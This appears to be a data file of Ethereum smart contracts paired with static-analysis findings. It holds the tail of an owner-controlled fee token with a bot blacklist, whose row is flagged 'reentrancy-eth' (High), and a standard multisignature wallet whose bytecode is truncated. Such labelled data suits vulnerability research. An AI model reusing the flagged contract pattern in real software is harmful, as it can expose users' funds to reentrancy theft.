bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461015c5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b806323b872dd116100f257806323b872dd14610213578063273123b714610233578063313ce567146102535780636fc3eaec1461026f57806370a082311461028457600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019d57806318160ddd146101cd5780631bbae6e0146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611639565b6103e6565b005b34801561016857600080fd5b50604080518082018252600981526814d212509052d0549560ba1b602082015290516101949190611656565b60405180910390f35b3480156101a957600080fd5b506101bd6101b83660046116d0565b610437565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b5061015a61020e3660046116fc565b61044e565b34801561021f57600080fd5b506101bd61022e366004611715565b610491565b34801561023f57600080fd5b5061015a61024e366004611756565b6104fa565b34801561025f57600080fd5b5060405160098152602001610194565b34801561027b57600080fd5b5061015a610545565b34801561029057600080fd5b506101e561029f366004611756565b610579565b3480156102b057600080fd5b5061015a61059b565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610194565b3480156102ed57600080fd5b5061015a61060f565b34801561030257600080fd5b506101bd6103113660046116d0565b610821565b34801561032257600080fd5b5061015a610331366004611789565b61082e565b34801561034257600080fd5b5061015a6108c4565b34801561035757600080fd5b5061015a610904565b34801561036c57600080fd5b5061015a61037b3660046116fc565b610aae565b34801561038c57600080fd5b5061015a61039b3660046116fc565b610ae6565b3480156103ac57600080fd5b506101e56103bb36600461184e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104195760405162461bcd60e51b815260040161041090611887565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610444338484610b1e565b5060015b92915050565b6000546001600160a01b031633146104785760405162461bcd60e51b815260040161041090611887565b678ac7230489e8000081111561048e5760108190555b50565b600061049e848484610c42565b6104f084336104eb85604051806060016040528060288152602001611a4d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f52565b610b1e565b5060019392505050565b6000546001600160a01b031633146105245760405162461bcd60e51b815260040161041090611887565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161041090611887565b4761048e81610f8c565b6001600160a01b03811660009081526002602052604081205461044890610fc6565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161041090611887565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161041090611887565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071c91906118bc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078d91906118bc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe91906118bc565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610444338484610c42565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161041090611887565b60005b81518110156108c05760016006600084848151811061087c5761087c6118d9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108b881611905565b91505061085b565b5050565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161041090611887565b60006108f930610579565b905061048e8161104a565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161041090611887565b600e5461094f9030906001600160a01b0316683635c9adc5dea00000610b1e565b600e546001600160a01b031663f305d719473061096b81610579565b6000806109806000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0d9190611920565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a8a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048e919061194e565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161041090611887565b600c81101561048e57600b55565b6000546001600160a01b03163314610b105760405162461bcd60e51b815260040161041090611887565b600c81101561048e57600c55565b6001600160a01b038316610b805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b038216610be15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610d085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610d6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6001600160a01b03831660009081526006602052604090205460ff1615610d9057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dd257506001600160a01b03821660009081526005602052604090205460ff16155b15610f42576000600955600c54600a55600f546001600160a01b038481169116148015610e0d5750600e546001600160a01b03838116911614155b8015610e3257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e475750600f54600160b81b900460ff165b15610e74576000610e5783610579565b601054909150610e6783836111c4565b1115610e7257600080fd5b505b600f546001600160a01b038381169116148015610e9f5750600e546001600160a01b03848116911614155b8015610ec457506001600160a01b03831660009081526005602052604090205460ff16155b15610ed5576000600955600b54600a555b6000610ee030610579565b600f54909150600160a81b900460ff16158015610f0b5750600f546001600160a01b03858116911614155b8015610f205750600f54600160b01b900460ff165b15610f4057610f2e8161104a565b478015610f3e57610f3e47610f8c565b505b505b610f4d838383611223565b505050565b60008184841115610f765760405162461bcd60e51b81526004016104109190611656565b506000610f83848661196b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108c0573d6000803e3d6000fd5b600060075482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b600061103761122e565b90506110438382611251565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611092576110926118d9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f91906118bc565b81600181518110611122576111226118d9565b6001600160a01b039283166020918202929092010152600e546111489130911684610b1e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611181908590600090869030904290600401611982565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111d183856119f3565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b610f4d838383611293565b600080600061123b61138a565b909250905061124a8282611251565b9250505090565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cc565b6000806000806000806112a5876113fa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112d79087611457565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130690866111c4565b6001600160a01b03891660009081526002602052604090205561132881611499565b61133284836114e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137791815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113a68282611251565b8210156113c357505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113ed5760405162461bcd60e51b81526004016104109190611656565b506000610f838486611a0b565b60008060008060008060008060006114178a600954600a54611507565b925092509250600061142761122e565b9050600080600061143a8e87878761155c565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f52565b60006114a361122e565b905060006114b183836115ac565b306000908152600260205260409020549091506114ce90826111c4565b30600090815260026020526040902055505050565b6007546114f09083611457565b60075560085461150090826111c4565b6008555050565b6000808080611521606461151b89896115ac565b90611251565b90506000611534606461151b8a896115ac565b9050600061154c826115468b86611457565b90611457565b9992985090965090945050505050565b600080808061156b88866115ac565b9050600061157988876115ac565b9050600061158788886115ac565b90506000611599826115468686611457565b939b939a50919850919650505050505050565b6000826115bb57506000610448565b60006115c78385611a2d565b9050826115d48583611a0b565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b801515811461048e57600080fd5b60006020828403121561164b57600080fd5b81356110438161162b565b600060208083528351808285015260005b8181101561168357858101830151858201604001528201611667565b81811115611695576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461048e57600080fd5b80356116cb816116ab565b919050565b600080604083850312156116e357600080fd5b82356116ee816116ab565b946020939093013593505050565b60006020828403121561170e57600080fd5b5035919050565b60008060006060848603121561172a57600080fd5b8335611735816116ab565b92506020840135611745816116ab565b929592945050506040919091013590565b60006020828403121561176857600080fd5b8135611043816116ab565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179c57600080fd5b823567ffffffffffffffff808211156117b457600080fd5b818501915085601f8301126117c857600080fd5b8135818111156117da576117da611773565b8060051b604051601f19603f830116810181811085821117156117ff576117ff611773565b60405291825284820192508381018501918883111561181d57600080fd5b938501935b8285101561184257611833856116c0565b84529385019392850192611822565b98975050505050505050565b6000806040838503121561186157600080fd5b823561186c816116ab565b9150602083013561187c816116ab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ce57600080fd5b8151611043816116ab565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611919576119196118ef565b5060010190565b60008060006060848603121561193557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561196057600080fd5b81516110438161162b565b60008282101561197d5761197d6118ef565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d25784516001600160a01b0316835293830193918301916001016119ad565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0657611a066118ef565b500190565b600082611a2857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4757611a476118ef565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058932366ee10f4c37d6ed870dfeced1a6e5858a63352db9b68dc8ae18a1b2d2864736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,010 |
0x2bbd9bd455db31f3a9262013e346d1ab5259391d
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="483b3c2d2e2926662f2d273a2f2d082b27263b2d263b313b66262d3c">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611fe8565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8